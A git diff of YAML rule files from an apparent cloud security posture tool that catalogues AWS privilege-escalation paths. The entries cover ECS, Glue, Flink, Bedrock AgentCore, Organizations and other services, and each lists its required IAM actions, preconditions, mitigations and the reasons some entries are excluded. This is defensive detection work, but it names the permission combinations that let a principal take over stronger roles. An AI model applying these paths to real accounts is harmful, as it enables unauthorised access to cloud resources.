a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml index ff18a86315..66975cd5d8 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml @@ -953,9 +953,9 @@ IAM permissions for each messaging action, so the promotion alone creates no AWS role edge.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount technique: aws-v3-37-scp-guardrail-removal - reason: 'SCP guardrail removal: actions organizations:DetachPolicy are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Removing an SCP can release a guardrail on a member account, but SCPs grant no IAM + permissions. The automatic principal graph lacks an exact controlled member-account identity, + affected hierarchy and policy attachment, and a before/after action that identity can use.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account technique: aws-v3-38-organizations-resource-policy reason: 'Organizations resource policy: actions organizations:PutResourcePolicy are stated, but the aws_verified_authority @@ -1070,9 +1070,9 @@ cannot call AWS APIs as the mailbox user or another AWS principal.' - source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#scp-and-rcp-gaps technique: aws-v3-58-leaveorganization-scp-escape - reason: 'LeaveOrganization SCP escape: actions organizations:LeaveOrganization are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Leaving an organization may remove inherited SCP restrictions, but does not grant an + IAM action by itself. The automatic graph lacks verified standalone-account prerequisites and + a controlled IAM identity whose allowed action was blocked only by the removed SCP.' - source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#guest-identity-credentials technique: aws-v3-59-anonymous-cognito-guest-role reason: 'Anonymous Cognito guest role: no source permission/action is declared. The required foothold or credential @@ -1104,9 +1104,9 @@ and proof of the operator actions reachable through that role; no raw STS key is returned.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#policy-and-permission-boundary-deletion technique: aws-v3-65-remove-own-explicit-deny - reason: 'Remove own explicit Deny: actions iam:DeleteUserPolicy are stated, but the aws_verified_authority target - does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Deleting an inline policy or detaching a managed policy can remove an explicit Deny only + if the source can mutate that exact policy and another policy already allows the blocked action. + No exact before/after permission gain is joined, so policy deletion alone creates no principal edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-evs-managed-vcf-and-esx-credentials technique: aws-v3-66-evs-vmware-admin-secret reason: 'EVS environment secrets can contain VMware vCenter, NSX, SDDC Manager or ESX diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml index 7c4a61150f..1dd7d17ba1 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml @@ -6,14 +6,3 @@ proved to control the admitted external-account principal or receive role credentials; the generic challenge fact has no typed source-to-target contract. prior_id: aws-pa-persist-s01-30 -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge - source_revision: b587e6bd26 - technique: Schedule attacker-controlled ECS code under a task role - reason: 'A scheduled ECS target can run with a task role, but the selected task definition - must contain attacker-controlled code and name the exact task role. The EventBridge invocation - role must trust EventBridge and allow ecs:RunTask for that task definition and iam:PassRole for - the task role; the caller must be allowed to attach that invocation role to the target. A - role-less task definition, such as the source example, supplies no task-role escalation. - The current generic challenge fact records none of these target-to-role joins or execution - conditions, so a permission-only path would be a false positive.' - prior_id: aws-ecs-eventbridge-scheduled-task-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml index 8f3059fd52..7a06ee4178 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml @@ -4,7 +4,7 @@ reason: Changing the root email and resetting the password does not bypass an enrolled root MFA device. The entry lacks exact evidence that the target account has no MFA barrier or a usable recovery path, so root/account-admin access is not established. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--hand-a-services-org-wide-control-to-an-account-you-own +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--delegate-a-service-to-a-member-account technique: aws-organizations-registerdelegatedadministrator reason: RegisterDelegatedAdministrator alone grants only service-specific delegation to a separate controlled member-account identity. The catalog does not bind that identity, service-specific administrative actions, or diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml index 694c2ba3dc..e59ad3f7dd 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml @@ -1,9 +1,9 @@ # Organizations policy changes require an exact source-to-member effective-authority join. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-scp-guardrail-change +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount source_revision: b13a72b45f technique: Remove an SCP guardrail for a controlled member principal reason: DetachPolicy, UpdatePolicy, DisablePolicyType or MoveAccount can alter member-account ceilings, but the management caller does not gain its own permission from an SCP change. A definite edge requires a controlled member principal, exact account and inherited SCP path, prior blocked action, identity allow, removal of the effective block and no remaining deny or boundary. Current inventory does not join before-and-after effective permission across those principals. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-putresourcepolicy-delegation +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account source_revision: b13a72b45f technique: Delegate Organizations policy actions to a controlled member principal reason: PutResourcePolicy can permit a member account to manage supported Organizations policies, but a usable gain requires an exact controlled member principal, accepted delegation policy and resource, matching identity permission and absence of denies. The policy writer's management-account permission is not itself a new member-principal capability. Current inventory does not join the two principals or prove a specific before-and-after authorized action. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml index 7674157b4e..872da3f074 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml @@ -2,11 +2,10 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio source_revision: b587e6bd26 technique: Attach a controlled Studio lifecycle configuration to an existing space - reason: The space inventory now joins a collected space ARN, app type, sharing type and - owner to either the domain's shared-space role or the private owner's profile role. - An executable edge still needs a creatable lifecycle configuration of the matching - app type, UpdateSpace authorization for that exact space and a compatible later app - start. Until those configuration and startup conditions are checked, the role mapping - alone does not prove script execution. A generic SageMaker trust relationship cannot - substitute for any of these joins. + reason: The IAM-domain shared-space subset is implemented as + aws-sagemaker-attach-studio-lifecycle-config-shared-space with exact role, app type, + free lifecycle-config name, CreateStudioLifecycleConfig, UpdateSpace, CreateApp and + AddTags joins. Private spaces, non-IAM domains and already-running apps require + separate owner, authorization and restart evidence; the shared-space subset must not + be generalized to them. prior_id: aws-sagemaker-attach-studio-lifecycle-config-space diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml index bcca7f8559..079633c439 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml @@ -3,9 +3,11 @@ source_revision: 171e422299 technique: Repoint the code of an existing Managed Flink application that keeps its execution role - reason: The kinesisanalytics_application resource-to-role attachment is not loaded by the AWS - evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the - exact role that the source operation reaches. + reason: The running STREAMING application inline-ZIP subset is implemented as + aws-flink-updateapplication-inline-code-existing-role with exact application, role, + version, UpdateApplication and PassRole joins. This broader retired entry also covers + S3-sourced code and other application states; those require a controlled readable code + object or an authorized StartApplication and are not inferred from update permission alone. prior_id: aws-flink-updateapplication-code - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenotebook--poison-a-spark-notebook-executed-later source_revision: 171e422299 @@ -39,9 +41,10 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privesc-to-ecs source_revision: 171e422299 technique: Open an SSM session into an ECS container with ExecuteCommand enabled - reason: The ecs_task resource-to-role attachment is not loaded by the AWS evaluator (absent - from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the - source operation reaches. + reason: The collector records ECS tasks and their roles, but not the exact SSM runtime target + identifier and resumable shell channel for a container. StartSession permission by itself + does not prove a ready ExecuteCommand agent, matching shell document, OpenDataChannel grant + or usable task-role credentials. Keep this conditional route out of the automatic principal graph. prior_id: aws-ssm-startsession-ecs-exec - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand source_revision: 6fb9ac51fd @@ -50,14 +53,6 @@ (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the source operation reaches. prior_id: aws-ssm-exec-hybrid-managed-node -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole - source_revision: 171e422299 - technique: Dry-run replacement canary code under the canary's execution role - reason: The collector and evaluator now join each named synthetics_canary to its recorded - ExecutionRoleArn. The dry-run route still needs an exact supported runtime, generated - Lambda function and code-layer permission join before its caller can be shown to execute - replacement code as that role; a named canary and PassRole alone are insufficient. - prior_id: aws-synthetics-startcanarydryrun-replacement-code - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole source_revision: 171e422299 technique: Modify the definition of an existing state machine keeping its role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml index 9938f21a7c..7e4e28b220 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml @@ -35,9 +35,10 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#hijack-ecs-scheduling-via-malicious-capacity-provider-ec2-asg-takeover source_revision: 171e422299 technique: Move a service onto a capacity provider backed by instances the source controls - reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), - so service-role trust cannot identify the exact role reached by the source action. The attached - resource ARN and action coverage cannot be proven. + reason: The collector records ECS tasks and their roles, but not a complete source-controlled + host, capacity-provider, Auto Scaling group and future task-placement chain. A service strategy + change does not guarantee a target-role task lands on a host the source can access, so this + conditional route is excluded from the automatic principal graph. prior_id: aws-ecs-capacity-provider-hijack - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role source_revision: b587e6bd26 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml index 404023d3b1..dad60afbec 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml @@ -23,12 +23,6 @@ reason: Creating an OIDC provider at an orphaned ARN does not prove source possession of a signed token with claims satisfying the exact target role trust. prior_id: aws-iam-createoidcprovider-orphaned-trust -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#path-name-and-arn-conditions - source_revision: b587e6bd26 - technique: Create a role in a trusted account to satisfy another account's role trust - reason: The selector checks trust against the existing source, not the newly created role; no - typed new-role ARN to external trust-pattern join proves the target accepts it. - prior_id: aws-iam-createrole-satisfy-cross-account-trust - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory--provision-an-account-you-control source_revision: 171e422299 technique: Update an Account Factory provisioned account to grant AWSAdministratorAccess to @@ -55,14 +49,14 @@ reason: CreateUser and CreateAccountAssignment do not prove source control of a usable new-user credential or exact permission-set assignment scope. prior_id: aws-identitystore-createuser-createaccountassignment -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--publish-a-malicious-certificate-template-esc1--esc9 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--change-ad-certificate-enrollment-rules source_revision: 171e422299 technique: Publish a malicious certificate template through PCA Connector for AD and enroll as a domain admin reason: Template creation does not prove the source controls an enrollable AD identity or that certificate mapping authenticates as the exact directory admin. prior_id: aws-pca-connector-ad-createtemplate-esc1 -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--weaken-an-existing-legitimate-template-in-place +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--change-an-existing-certificate-template source_revision: 171e422299 technique: Weaken an existing PCA Connector for AD certificate template in place reason: Template update does not prove the source controls an enrollable AD identity or that diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml index 8be25cc8d3..ae7491a2b3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml @@ -17,7 +17,8 @@ summary: A principal allowed to connect to a running image builder may use its recorded machine role. requires: all_of: - - action: appstream:CreateImageBuilderStreamingURL + - action: appstream:CreateImageBuilderStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:image-builder/* source_kind: [aws_user, aws_role] target: kind: aws_role @@ -49,7 +50,8 @@ summary: A principal allowed to connect to a running app block builder may use its recorded machine role. requires: all_of: - - action: appstream:CreateAppBlockBuilderStreamingURL + - action: appstream:CreateAppBlockBuilderStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:app-block-builder/* source_kind: [aws_user, aws_role] target: kind: aws_role @@ -81,7 +83,8 @@ summary: A principal allowed to open a desktop session on an existing fleet may use that fleet's exact machine role. requires: all_of: - - action: appstream:CreateStreamingURL + - action: appstream:CreateStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:fleet/* source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml index 85ed5e4b62..c9eae2a0c1 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml @@ -12,7 +12,7 @@ service: bedrock title: Create an AgentCore Code Interpreter with a passed execution role and run code in it source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role - source_revision: 6fb9ac51fd + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae summary: The source can obtain the privileges of passable roles trusting bedrock-agentcore.amazonaws.com by creating a Code Interpreter with that execution role and invoking it. requires: @@ -180,6 +180,8 @@ iam:PassedToService: bedrock-agentcore.amazonaws.com - action: bedrock-agentcore:CreateAgentRuntime resource: "*" + - action: bedrock-agentcore:CreateAgentRuntimeEndpoint + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* - action: bedrock-agentcore:InvokeAgentRuntime resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* - action: bedrock-agentcore:InvokeAgentRuntime @@ -205,14 +207,15 @@ mitigation: Scope iam:PassRole for bedrock-agentcore.amazonaws.com roles, restrict runtime creation to the deployment pipeline and allow only approved registries. references: - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_CreateAgentRuntime.html - notes: Generated runtime IDs have a service-chosen ten-character suffix. CreateAgentRuntime automatically creates the DEFAULT endpoint; a separate CreateAgentRuntimeEndpoint grant is not required. The precondition checks one fresh name and generated suffix scope covered by InvokeAgentRuntime, PassRole and trust grants. A concrete role edge requires fresh reviewed evidence that a controlled, pullable artifact ran under this exact role in a READY runtime and DEFAULT endpoint, and performed a useful action unavailable directly to the caller. The aws-bedrock-privesc page describes the same technique. + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + notes: Generated runtime IDs have a service-chosen ten-character suffix. CreateAgentRuntime automatically creates the DEFAULT endpoint, but AWS lists CreateAgentRuntimeEndpoint as a dependent permission on the new runtime. The precondition checks one fresh name and generated suffix scope covered by endpoint creation and InvokeAgentRuntime, PassRole and trust grants. A concrete role edge requires fresh reviewed evidence that a controlled, pullable artifact ran under this exact role in a READY runtime and DEFAULT endpoint, and performed a useful action unavailable directly to the caller. The aws-bedrock-privesc page describes the same technique. - id: aws-bedrock-agentcore-updateagentruntime-passrole provider: aws service: bedrock title: Repoint an existing AgentCore agent runtime to a passed role and invoke it source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role - source_revision: 171e422299 + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by updating an existing runtime's role and artifact and invoking it. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml index fafeccc1d4..2226186933 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml @@ -12,8 +12,8 @@ provider: aws service: cloudcontrol title: Create an administrator user through Cloud Control API with a passed role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource-or-updateresource--iampassrole - source_revision: 171e422299 + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource--iampassrole + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml index 3a1cd71d04..e9884d5f1b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -7,6 +7,43 @@ # AWS ECS privilege escalation techniques. # Source: hacktricks-cloud aws-ecs-privesc/README.md. +- id: aws-ecs-eventbridge-scheduled-task-role + provider: aws + service: ecs + title: Schedule a controlled ECS task under its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + summary: The source can register a task definition with controlled code and use a scheduled EventBridge rule to start it under a stronger task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: ECS task roles reachable through a new scheduled EventBridge rule in {account} + outcome: workload_execution + preconditions: + - ecs_new_task_definition_eventbridge_schedule_ready + conditions: + - id: scheduled_task_execution + description: The controlled task image must be runnable and the enabled rule must trigger a task on a compatible connected instance. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECS task-definition registration, EventBridge rule targets and PassRole on invocation and task roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/CWE_IAM_role.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The evaluator binds one new task-definition family, one free scheduled default-bus rule, an active connected EC2 cluster and a recorded EventBridge invocation role. The source must pass the task role to ECS and the invocation role to EventBridge; that invocation role must trust events.amazonaws.com and be allowed to RunTask and pass the task role. A role-less task definition cannot satisfy this route. Task image pull and actual execution remain conditional. + - id: aws-ecs-executecommand provider: aws service: ecs diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml index 5300f31833..0fa511cba0 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml @@ -116,7 +116,7 @@ source_kind: [aws_user, aws_role] title: Vend endpoint credentials for an EMR runtime role without iam:PassRole source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducegetclustersessioncredentials--connect-to-a-runtime-role-cluster-endpoint - source_revision: 171e422299 + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae summary: A caller may submit work under an EMR runtime role if it can obtain endpoint credentials for that role, reach a compatible endpoint and run a permitted workload. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml index 82effdbae9..64a7144e2a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml @@ -79,3 +79,38 @@ references: - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplication.html notes: The service does not expose role credentials directly; the code acts with the role's permissions. CreateApplication is authorized on * and StartApplication on the new application's ARN. + +- id: aws-flink-updateapplication-inline-code-existing-role + provider: aws + service: kinesisanalytics + title: Replace running Flink application code under its execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#updateapplication--code-control--application-execution-role + source_revision: 171e422299 + summary: The source can submit an inline ZIP update to a running streaming application, which restarts with code using its recorded service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kinesisanalytics.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of running Flink applications whose code the source can update in {account} + outcome: workload_execution + preconditions: + - flink_existing_streaming_inline_code_update + conditions: + - id: successful_update + description: The submitted ZIP must be a valid application and the code update must complete successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict UpdateApplication on privileged applications and PassRole on their service roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_UpdateApplication.html + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CodeContentUpdate.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_kinesisanalytics.html + notes: UpdateApplication accepts ZipFileContentUpdate, so no S3 object-write grant is needed for this variant. The evaluator joins one RUNNING STREAMING application to its exact recorded role and checks UpdateApplication on that ARN. The AWS authorization reference lists iam:PassRole as a dependent action. A successful update and useful role-authorized code action remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml index 975e57c60c..af3148b50e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml @@ -117,7 +117,7 @@ references: - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-glue-arguments.html - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateTrigger.html - notes: The evaluator requires an unpinned --scriptLocation, StartJobRun on the exact job or a creatable scheduled trigger, and one S3 script object the source can PutObject and the target role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of a matching job run, script read and execution, and a useful action under the exact role. Dependency override formats without such evidence remain unresolved. Creating a trigger for an existing job does not itself require iam:PassRole. + notes: The evaluator requires an unpinned --scriptLocation, StartJobRun on the exact job or a creatable scheduled trigger, and one concrete S3 script object the source can PutObject and the target role can GetObject. The object may differ from the job's configured script. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings remain unresolved without stronger evidence. Other dependency override formats still need reviewed execution evidence. Creating a trigger for an existing job does not itself require iam:PassRole. - id: aws-glue-overwrite-existing-job-script @@ -154,7 +154,7 @@ references: - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-api-jobs-job.html - https://docs.aws.amazon.com/glue/latest/dg/edit-nodes-script.html - notes: The evaluator joins Command.ScriptLocation, the same job's role, exact s3:PutObject and role s3:GetObject permissions, and StartJobRun or an active scheduled trigger. A direct StartJobRun can explicitly select the recorded script URI only when --scriptLocation is not non-overridable; a scheduled run also needs collected job defaults and trigger action arguments without a script redirect. It never infers a role edge from a generic writable bucket or a different job. + notes: The evaluator joins Command.ScriptLocation, the same job's role, exact s3:PutObject and role s3:GetObject permissions, and StartJobRun or an active scheduled trigger. The script bucket and default encryption must be collected; SSE-KMS needs stronger evidence. A direct StartJobRun can explicitly select the recorded script URI only when --scriptLocation is not non-overridable; a scheduled run also needs collected job defaults and trigger action arguments without a script redirect. It never infers a role edge from a generic writable bucket or a different job. - id: aws-glue-passrole-createjob-or-updatejob-run provider: aws @@ -191,7 +191,7 @@ mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService, and restrict job creation/update and trigger creation to the deployment pipeline. references: - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateJob.html - notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable trigger in its Region. It binds exact Glue PassRole and an S3 script object the source can PutObject and the passed role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted job change, matching run, script execution and useful action under the exact role. + notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable trigger in its Region. It binds exact Glue PassRole and one concrete S3 script object the source can PutObject and the passed role can GetObject. The script may differ from existing job definitions. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings need stronger evidence. A completed job run and useful role action remain conditional. - id: aws-glue-updatejob-existing-role provider: aws @@ -230,7 +230,7 @@ - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateJob.html - https://docs.aws.amazon.com/glue/latest/webapi/API_JobUpdate.html - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html - notes: JobUpdate requires Role and completely overwrites the prior definition, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. The evaluator joins a runnable trigger and an S3 script object the source can PutObject and the attached role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted update, trigger firing, matching run, script execution and useful action under the exact role. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. + notes: JobUpdate requires Role and completely overwrites the prior definition, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. The evaluator joins a runnable trigger and one concrete S3 script object the source can PutObject and the attached role can GetObject. The script may differ from the job's configured script. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings need stronger evidence. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. - id: aws-glue-passrole-createsession provider: aws diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml 